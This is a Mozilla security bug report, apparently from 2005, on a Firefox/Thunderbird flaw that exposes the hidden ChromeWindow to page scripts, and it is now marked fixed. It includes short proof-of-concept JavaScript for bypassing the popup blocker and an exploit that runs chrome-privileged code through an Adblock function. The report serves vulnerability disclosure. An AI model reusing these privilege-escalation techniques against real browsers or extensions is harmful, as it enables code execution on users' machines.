294799 - Any_XPCOM_Object.anyFunction.__proto__.__parent__ refers to the invisible blank ChromeWindow

Status: RESOLVED FIXED

(Core :: Security, defect)

Description

[moz_bug_r_a4]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

Any_XPCOM_Object.anyFunction.__proto__.__parent__ refers to the invisible blank
ChromeWindow. It is [object ChromeWindow], but its location is "about:blank".
thus, it does *not* have chrome privilege.

There is a exception:
document.open.__proto__.__parent__ refers to document.defaultView


I'm not sure what an attacker can do. but, at least this bug can be used in
order to circumvent the built-in popup blocker.

  window.alert.__proto__.__parent__.location =
    "javascript:window.open('http://www.mozilla.org/')";


Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Firefox/1.0+

(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518

(Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050518 Thunderbird/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Thunderbird/1.0+

Note for Thunderbird:
Content script cannot change ChromeWindow.location and cannot call
ChromeWindow.open()


Note:
Firefox and Thunderbird have critical issue that is similar to this bug.
see Bug 294795.


Reproducible: Always

Steps to Reproduce:

Comment 1

[moz_bug_r_a4]

Attachment: testcase

Comment 2

[moz_bug_r_a4]

Sorry, I've tested this testcase with local file (file://). Web pages
cannot change ChromeWindow.location.

Comment 3

[moz_bug_r_a4]

I've made mistakes. 

When a page's url is https://, a page cannot change ChromeWindow.location.
But, when a page's url is http://, a page *can* change ChromeWindow.location.

testcase with http: url
http://members.tripod.com/cv6y-mlr8-9hh/ct7f-nm8q/open-test-2.html


And, this ChromeWindow is the nsIAppShellService.hiddenDOMWindow.

Comment 4

[moz_bug_r_a4]

>When a page's url is https://, a page cannot change ChromeWindow.location.
>But, when a page's url is http://, a page *can* change ChromeWindow.location.

Sorry, this is incorrect. my old testcase is subject to same origin policy.
page A: http://a.a/a.html
page B: http://b.b/b.html
After page A changed hiddenDOMWindow.location, page B cannot access properties
of hiddenDOMWindow.

Content window can call directly hiddenDOMWindow.open(), without side effect.
  window.blur.__proto__.__parent__.open('http://www.mozilla.org/');

Also, the following is possible. (w.opener is hiddenDOMWindow)
  w = window.open.__proto__('http://www.mozilla.org/');


If user installed Adblock, this bug allows an attacker to run arbitrary code.
If Adblock is installed, hiddenDOMWindow contains Adblock's component. and
content window can use functions of Adblock's component.

------
Target code from adblock.jar!/content/component.js:
  function adblockRemoveSlow(node, wnd, immediate, removalCode) {
  	// use timeout to collapse node - otherwise the reflow-queue doesn't catch it
  	// set style + collapse frameset-cols+rows for frames (if specified)
  	if (immediate) (removalCode) ? eval(removalCode) : (node.style.display = "none");
  	else {
  		var nodeIndex = adblockNodeIndex(wnd, node);
  		wnd.setTimeout(
  				"var node = window._AdblockObjects["+nodeIndex+"];\
  				"+  (removalCode ? removalCode : "node.style.display = 'none';")  +"\
  				delete window._AdblockObjects["+nodeIndex+"];", 0); // no content will be
loaded
  	}
  }

Exploit code:
  var code = "alert(location.href + '\\n\\n' + Components.stack);";
  window.blur.__proto__.__parent__
  .adblockRemoveSlow(null, window, false, code);
------

The string passed as the first argument of |wnd.setTimeout| is evaluated in
the context of |wnd|, but it is evaluated with the principal of caller
(adblockRemoveSlow) that has chrome privilege.

I've confirmed that this exploit code works on:
Adblock 0.5.2.039 + Firefox/1.0.4 
Adblock 0.5.2.039 + Firefox/1.0+ (2005-05-31-13)
Adblock 0.5.2.039 + Mozilla/1.7.8

Comment 5

[moz_bug_r_a4]

Attachment: window.blur.__proto__.__parent__.open()

Comment 6

[moz_bug_r_a4]

Attachment: arbitrary code execution with Adblock

This requires Adblock installed.

Comment 7

[moz_bug_r_a4]

I guess this should not be made public, until Bug 297543 is resolved.

Comment 8

[Johnny Stenback (:jst)]

Marking FIXED now that bug 294795 is fixed.

Comment 9

[Daniel Veditz [:dveditz]]

Adding distributors